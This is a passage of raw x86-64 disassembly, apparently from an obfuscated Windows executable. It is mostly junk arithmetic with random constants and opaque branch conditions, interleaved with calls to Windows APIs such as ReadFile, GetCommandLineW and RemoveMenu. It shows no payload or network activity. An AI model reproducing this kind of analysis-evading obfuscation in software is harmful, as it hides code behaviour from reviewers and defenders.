mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [0x140170310]
movabs rdx, 0xd8dfd62c21e0b947
xor rax, rdx
mov qword [rbp + 0x3cc8], rax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
and ax, 0x7b07
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x3c40]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x3c40]
sub edx, ecx
mov byte [rax], dl
movzx edx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x3c40]
sub edx, 0x29
mov byte [rax], dl
movzx edx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x3c40]
sub edx, 0x21
mov byte [rax], dl
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
add ax, 0x2663
mov word [rbp + 0x175e], ax
movzx edx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x3c40]
add edx, 0x57
mov byte [rax], dl
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
and dx, 0x4d9e
mov word [rax], dx
mov rax, qword [0x140170310]
movabs rdx, 0xaa2812579f974365
add rax, rdx
mov qword [rbp + 0x3cc8], rax
mov eax, dword [rbp + 0x2aa4]
add eax, 0x3da497e5
mov dword [rbp + 0x2aa4], eax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
sub edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x3c40]
or edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x2506c], 0x35f4
jne 0x140006bc1
lea rax, [rbp + 0x719a]
mov qword [rbp + 0x5f20], rax
mov dword [rbp + 0x25170], 0xb720
jmp 0x140007201
mov rax, qword [rbp + 0x3fa0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
xor edx, ecx
mov word [rax], dx
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
sar dx, 0xd
mov word [rax], dx
mov rax, qword [rbp + 0x3cc8]
shl rax, 0x2a
mov qword [0x140170310], rax
mov eax, dword [rbp + 0x2aa4]
and eax, 0x3c7b4d84
mov dword [rbp + 0x2aa4], eax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
sub edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [0x140170310]
movabs rdx, 0xc0b175c236f2ce72
add rax, rdx
mov qword [rbp + 0x3cc8], rax
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x5f20]
add edx, ecx
mov byte [rax], dl
movzx eax, word [rbp + 0x175e]
lea edx, [rax - 0x7e76]
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [rbp + 0x5f20]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x719a], al
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x5f20]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
and ax, 0x5d16
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x3c40]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x3c40]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x719a]
movzx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x5f20]
mov byte [rax], dl
mov eax, dword [rbp + 0x361c]
or eax, 0xdcd37458
mov dword [rbp + 0x6aa4], eax
mov rax, qword [rbp + 0x3fa0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
xor edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0xe69]
shl eax, 5
mov byte [rbp + 0xe69], al
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
and ax, 0x321e
mov word [rbp + 0x175e], ax
movzx eax, byte [rbp + 0xe69]
add eax, 0x63
mov byte [rbp + 0xe69], al
mov rax, qword [rbp + 0x5f20]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x719a], al
mov rax, qword [rbp + 0x3cc8]
movabs rdx, 0x19e550430d38dd5d
add rax, rdx
mov qword [0x140170310], rax
mov eax, dword [rbp + 0x361c]
sub eax, 0x40ce08e9
mov dword [rbp + 0x6aa4], eax
mov rax, qword [0x140170310]
movabs rdx, 0x39c0895e32c48177
add rax, rdx
mov qword [rbp + 0x3cc8], rax
mov rax, qword [rbp + 0x2bd0]
movabs rdx, 0xc0c836d441b01b33
add rax, rdx
mov qword [rbp + 0x2bd0], rax
mov rax, qword [rbp + 0x3c40]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x719a], al
sub dword [rbp + 0x25170], 0x66
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
and ax, 0x15c1
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x175e]
cwde
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
cmp dword [rbp + 0x25170], 0x9a09
ja 0x140006f53
movzx eax, byte [rbp + 0xe69]
mov byte [rbp + 0x3529], al
mov rax, qword [rbp + 0x5f20]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x719a]
or edx, eax
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
cmp al, dl
jae 0x140007253
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
shl eax, 0xa
mov word [rbp + 0x175e], ax
movzx eax, word [rbp + 0x175e]
cwde
test eax, eax
je 0x140007270
cmp eax, 0x6ff5
je 0x14015b872
jmp 0x14015b90e
nop
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
sub ax, 0x4250
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x5f20]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x719a], al
movzx eax, byte [rbp + 0xe69]
sub eax, 0x20
mov byte [rbp + 0x3529], al
mov rax, qword [rbp + 0x3c40]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x5f20]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x719a], al
movzx eax, word [rbp + 0x175e]
lea edx, [rax + 0x55ae]
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [rbp + 0x3cc8]
movabs rdx, 0x5838de8380df5a82
add rax, rdx
mov qword [0x140170310], rax
mov eax, dword [rbp + 0x361c]
shl eax, 0x12
mov dword [rbp + 0x6aa4], eax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x175e]
cwde
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
xor dx, 0x2b65
mov word [rax], dx
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
or ax, 0x7a67
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x5f20]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x3c40]
and edx, ecx
mov byte [rax], dl
movzx edx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x5f20]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x3c40]
sub edx, ecx
mov byte [rax], dl
movzx eax, word [rbp + 0x175e]
lea edx, [rax - 0x1f73]
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov eax, dword [rbp + 0x361c]
and eax, 0x6a9748e1
mov dword [rbp + 0x6aa4], eax
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x5f20]
add edx, ecx
mov byte [rax], dl
movzx eax, word [rbp + 0x175e]
lea edx, [rax + 0x4297]
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [rbp + 0x3c40]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x5f20]
sub edx, ecx
mov byte [rax], dl
movzx eax, word [rbp + 0x175e]
lea edx, [rax + 0x1282]
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
movzx eax, word [rbp + 0x175e]
lea edx, [rax - 0x3022]
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x719a]
movzx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x3c40]
mov byte [rax], dl
mov rax, qword [rbp + 0x3fa0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
or edx, ecx
mov word [rax], dx
add dword [rbp + 0x250fc], 0x4a
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
xor dx, 0x4e6e
mov word [rax], dx
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x719a], al
mov rax, qword [rbp + 0x3cc8]
movabs rdx, 0x8fb87fd816541ac2
and rax, rdx
mov qword [0x140170310], rax
mov eax, dword [rbp + 0x2aa4]
mov dword [rbp + 0x6f78], eax
mov rax, qword [rbp + 0x2bd0]
movabs rdx, 0x345a15f421f0cc4
add rax, rdx
mov qword [rbp + 0x2bd0], rax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
sub edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
movzx eax, word [rbp + 0x175e]
lea edx, [rax + 0x6488]
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
sub edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
and dx, 0x6910
mov word [rax], dx
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
cmp dword [rbp + 0x250fc], 0x6799
jne 0x14000726f
mov eax, dword [rbp + 0x2aa4]
lea edx, [rax - 0x13c31618]
mov eax, dword [rbp + 0x6f78]
cmp edx, eax
jg 0x14015b833
mov rax, qword [rbp + 0x2bd0]
mov qword [rbp + 0x560], rax
mov rax, qword [rbp + 0x3cc8]
mov rdi, qword [0x140170310]
mov qword [rbp - 0x28], rdi
mov edx, 0
div qword [rbp - 0x28]
mov qword [rbp + 0x4398], rax
mov eax, dword [rbp + 0x361c]
mov dword [rbp + 0x66e4], eax
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
mov byte [rbp + 0x1007], al
mov dword [rbp + 0x25094], 0xb824
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
mov byte [rbp + 0x3525], al
mov dword [rbp + 0x25194], 0x8701
lea rax, [rbp + 0x175e]
mov qword [rbp + 0x15b8], rax
movzx eax, word [rbp + 0x175e]
cwde
test eax, eax
je 0x14000764b
cmp eax, 0x2cea
je 0x1400076b7
jmp 0x140007c02
mov rdx, qword [rbp + 0x3cc8]
movabs rax, 0xd50c676376f02d46
cmp rdx, rax
jne 0x14000768d
lea rax, [rbp + 0x175e]
mov qword [rbp + 0x25188], rax
mov rax, qword [rbp + 0x560]
mov qword [0x140175030], rax
lea rax, [rbp + 0x2bd0]
mov qword [rbp + 0x25148], rax
jmp 0x1400076b2
mov rax, qword [rbp + 0x41d0]
mov r8d, 0xf9
mov edx, 0x65
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_RemoveMenu]
call rax
mov dword [rbp + 0xf70], eax
nop
jmp 0x140007769
mov edx, dword [rbp + 0x361c]
mov eax, dword [rbp + 0x6aa4]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x66e4], eax
mov rax, qword [rbp + 0x5f20]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3525]
xor eax, edx
movzx edx, al
movzx eax, byte [rbp + 0x1007]
movzx r8d, al
movzx eax, byte [rbp + 0x719a]
movzx eax, al
mov ecx, eax
sar r8d, cl
mov eax, r8d
cmp edx, eax
jg 0x140007768
mov eax, dword [rbp + 0x2aa4]
cmp eax, 0x4191ddd1
je 0x14000771c
cmp eax, 0x5f999546
je 0x14000773b
jmp 0x140007768
mov rax, qword [rbp + 0x3fa0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x15b8]
or edx, ecx
mov word [rax], dx
jmp 0x140007768
mov rax, qword [sym.imp.KERNEL32.dll_GetCommandLineW]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3525]
mov rax, qword [rbp + 0x5f20]
and edx, ecx
mov byte [rax], dl
nop
nop
jmp 0x140007c02
movzx edx, byte [rbp + 0x719a]
movzx ecx, byte [rbp + 0x1007]
mov rax, qword [rbp + 0x3c40]
sub edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x3529]
add eax, 0x25
mov byte [rbp + 0xe69], al
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add edx, eax
mov rax, qword [rbp + 0x15b8]
mov word [rax], dx
movzx eax, byte [rbp + 0x3529]
sub eax, 0x5d
mov byte [rbp + 0xe69], al
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add edx, eax
mov rax, qword [rbp + 0x15b8]
mov word [rax], dx
mov rax, qword [rbp + 0x25188]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x3fa0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x15b8]
and edx, ecx
mov word [rax], dx
movzx eax, word [rbp + 0x175e]
mov edx, eax
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
sub rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x2bd0]
mov rax, qword [rbp + 0x560]
add rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
movzx eax, byte [rbp + 0x3529]
or eax, 0x56
mov byte [rbp + 0xe69], al
movzx eax, byte [rbp + 0x719a]
movzx edx, al
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x1007], al
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x1007]
mov rax, qword [rbp + 0x3c40]
xor edx, ecx
mov byte [rax], dl
sub dword [rbp + 0x25094], 0x98
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
and rax, rdx
mov qword [0x140175030], rax
mov edx, dword [rbp + 0x361c]
mov eax, dword [rbp + 0x66e4]
sub edx, eax
mov dword [rbp + 0x6aa4], edx
mov rdx, qword [rbp + 0x2bd0]
mov rax, qword [rbp + 0x560]
add rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
add rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2bd0]
sub rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add edx, eax
mov rax, qword [rbp + 0x15b8]
mov word [rax], dx
movzx edx, byte [rbp + 0x3525]
mov rax, qword [rbp + 0x5f20]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x3c40]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x25188]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x15b8]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
sub edx, eax
mov rax, qword [rbp + 0x15b8]
mov word [rax], dx
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x3cc8]
xor rax, rdx
mov qword [0x140170310], rax
mov edx, dword [rbp + 0x361c]
mov eax, dword [rbp + 0x66e4]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x6aa4], eax
mov rax, qword [rbp + 0x25148]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x2bd0]
mov ecx, edx
sar rax, cl
mov qword [rbp + 0x560], rax
mov eax, dword [rbp + 0x6f78]
or eax, 0x844312b
mov dword [rbp + 0x2aa4], eax
movzx ecx, byte [rbp + 0x719a]
movzx edx, byte [rbp + 0x3525]
mov rax, qword [rbp + 0x3c40]
add edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x3529]
and eax, 8
mov byte [rbp + 0xe69], al
movzx eax, word [rbp + 0x175e]
mov edx, eax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
movzx eax, byte [rbp + 0xe69]
add eax, 0x11
mov byte [rbp + 0x3529], al
mov rax, qword [rbp + 0x3c40]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1007]
add eax, edx
mov byte [rbp + 0x719a], al
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
sub edx, eax
mov rax, qword [rbp + 0x15b8]
mov word [rax], dx
movzx eax, word [rbp + 0x175e]
mov edx, eax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
sub edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov eax, dword [rbp + 0x2aa4]
add eax, 0x68983539
mov dword [rbp + 0x6f78], eax
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
add rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov edx, dword [rbp + 0x6aa4]
mov eax, dword [rbp + 0x361c]
and eax, edx
mov dword [rbp + 0x66e4], eax
mov rax, qword [rbp + 0x25188]
movzx edx, word [rax]
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
xor edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
movzx eax, byte [rbp + 0x3525]
movzx edx, al
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x719a], al
movzx eax, byte [rbp + 0xe69]
or eax, 2
mov byte [rbp + 0x3529], al
movzx eax, byte [rbp + 0x3529]
sar al, 1
mov byte [rbp + 0xe69], al
mov rax, qword [rbp + 0x3c40]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x3525]
mov rax, qword [rbp + 0x3c40]
sub edx, ecx
mov byte [rax], dl
mov edx, dword [rbp + 0x6aa4]
mov eax, dword [rbp + 0x361c]
sub edx, eax
mov dword [rbp + 0x66e4], edx
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
and rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x2bd0]
mov rax, qword [0x140175030]
add rax, rdx
mov qword [rbp + 0x560], rax
cmp dword [rbp + 0x25094], 0xa524
ja 0x14000776e
mov eax, dword [rbp + 0x2aa4]
mov dword [rbp + 0x10f0], eax
mov edx, dword [rbp + 0x2aa4]
mov eax, dword [rbp + 0x10f0]
sub edx, eax
mov eax, dword [rbp + 0x6f78]
cmp edx, eax
jl 0x140007cf3
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
cwde
cmp eax, 0x2d57
jne 0x140007c6a
mov edx, 0x49
mov ecx, 0xb3
mov rax, qword [sym.imp.KERNEL32.dll_IsValidLocale]
call rax
mov dword [rbp + 0xf70], eax
jmp 0x140007e35
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x175e], ax
movzx eax, word [rbp + 0x175e]
mov edx, eax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
lea r8, [rbp + 0x361c]
lea rdx, [rbp + 0x6f78]
mov rax, qword [rbp + 0x24780]
lea rcx, [rbp + 0x2bf4]
mov qword [rsp + 0x20], rcx
mov r9, r8
mov r8d, 0xb2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov dword [rbp + 0xf70], eax
jmp 0x140007e35
movzx eax, word [rbp + 0x175e]
cwde
cmp eax, 0xdc5
jne 0x140007dcf
mov rdx, qword [rbp + 0x3cc8]
movabs rax, 0x16993acc1d37bb1b
cmp rdx, rax
jne 0x140007dac
movzx ecx, byte [rbp + 0x719a]
movzx edx, byte [rbp + 0x1007]
mov rax, qword [rbp + 0x3c40]
add edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x3529]
add eax, 0x72
mov byte [rbp + 0xe69], al
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov dword [rbp + 0x5244], eax
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
mov edx, dword [rbp + 0x6aa4]
mov eax, dword [rbp + 0x5244]
or eax, edx
mov dword [rbp + 0x66e4], eax
mov rax, qword [rbp + 0x3fa0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x175e]
xor edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
jmp 0x140007dcd
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x25148]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, rdx
mov qword [rbp + 0x2bd0], rax
nop
jmp 0x140007e12
mov rax, qword [rbp + 0x4398]
mov qword [rbp + 0x1278], rax
mov dword [rbp + 0x2511c], 0x6228
lea rax, [rbp + 0xe69]
mov qword [rbp + 0x6a60], rax
movzx eax, word [rbp + 0x175e]
mov word [rbp + 0x6e26], ax
lea rax, [rbp + 0x3525]
mov qword [rbp + 0x25138], rax
nop
movzx eax, word [rbp + 0x6e26]
movsx edx, ax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
cwde
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x15b8]
mov word [rax], dx
movzx eax, byte [rbp + 0xe69]
mov byte [rbp + 0x391f], al
mov rax, qword [rbp + 0x5f20]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25138]
movzx eax, byte [rax]
and eax, edx
mov byte [0x140170318], al
mov eax, dword [rbp + 0x10f0]
mov dword [rbp + 0x2b44], eax
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
add rax, rdx
mov qword [rbp + 0x2bd0], rax
movzx edx, byte [rbp + 0x1007]
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x5f20]
sub edx, ecx
mov byte [rax], dl
mov rdx, qword [rbp + 0x1278]
mov rax, qword [rbp + 0x4398]
and rax, rdx
mov qword [rbp + 0x3cc8], rax
mov rax, qword [rbp + 0x5f20]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25138]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x5f20]
sub edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0xe69]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
add edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x6e26]
sub edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x2bd0]
add rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
sub dword [rbp + 0x250d4], 7
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2bd0]
sub rdx, rax
mov qword [0x140175030], rdx
mov rax, qword [rbp + 0x6a60]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3529]
mov rax, qword [rbp + 0x6a60]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x2bd0]
mov rdx, qword [rbp + 0x560]
mov ecx, edx
shl rax, cl
mov rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2bd0]
or rax, rdx
mov qword [rbp + 0x560], rax
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x391f]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov rax, qword [rbp + 0x6a60]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3529]
mov rax, qword [rbp + 0x6a60]
and edx, ecx
mov byte [rax], dl
movzx edx, byte [rbp + 0x1007]
movzx eax, byte [rbp + 0x3525]
add eax, edx
mov byte [rbp + 0x719a], al
mov rax, qword [rbp + 0x3c40]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x25138]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x719a], al
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [0x140175030]
sub rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x1278]
add rax, rdx
mov qword [0x140170310], rax
movzx edx, word [rbp + 0x175e]
movzx eax, word [rbp + 0x6e26]
and edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
mov rdx, qword [rbp + 0x2bd0]
mov rax, qword [0x140175030]
add rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov edx, dword [rbp + 0x2aa4]
mov eax, dword [rbp + 0x10f0]
sub edx, eax
mov dword [rbp + 0x2b44], edx
mov rdx, qword [0x140170310]
mov rax, qword [rbp + 0x4398]
add rax, rdx
mov qword [rbp + 0x1278], rax
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2bd0]
sub rdx, rax
mov qword [rbp + 0x560], rdx
movzx ecx, byte [rbp + 0xe69]
movzx edx, byte [rbp + 0x3529]
mov rax, qword [rbp + 0x6a60]
xor edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x3525]
movzx edx, al
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25138]
mov byte [rax], dl
mov rax, qword [0x140175030]
mov rdx, qword [rbp + 0x560]
mov ecx, edx
shl rax, cl
mov rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rax, qword [rbp + 0x15b8]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x25188]
movzx edx, word [rax]
mov rax, qword [rbp + 0x3fa0]
or edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x6a60]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x391f]
and eax, edx
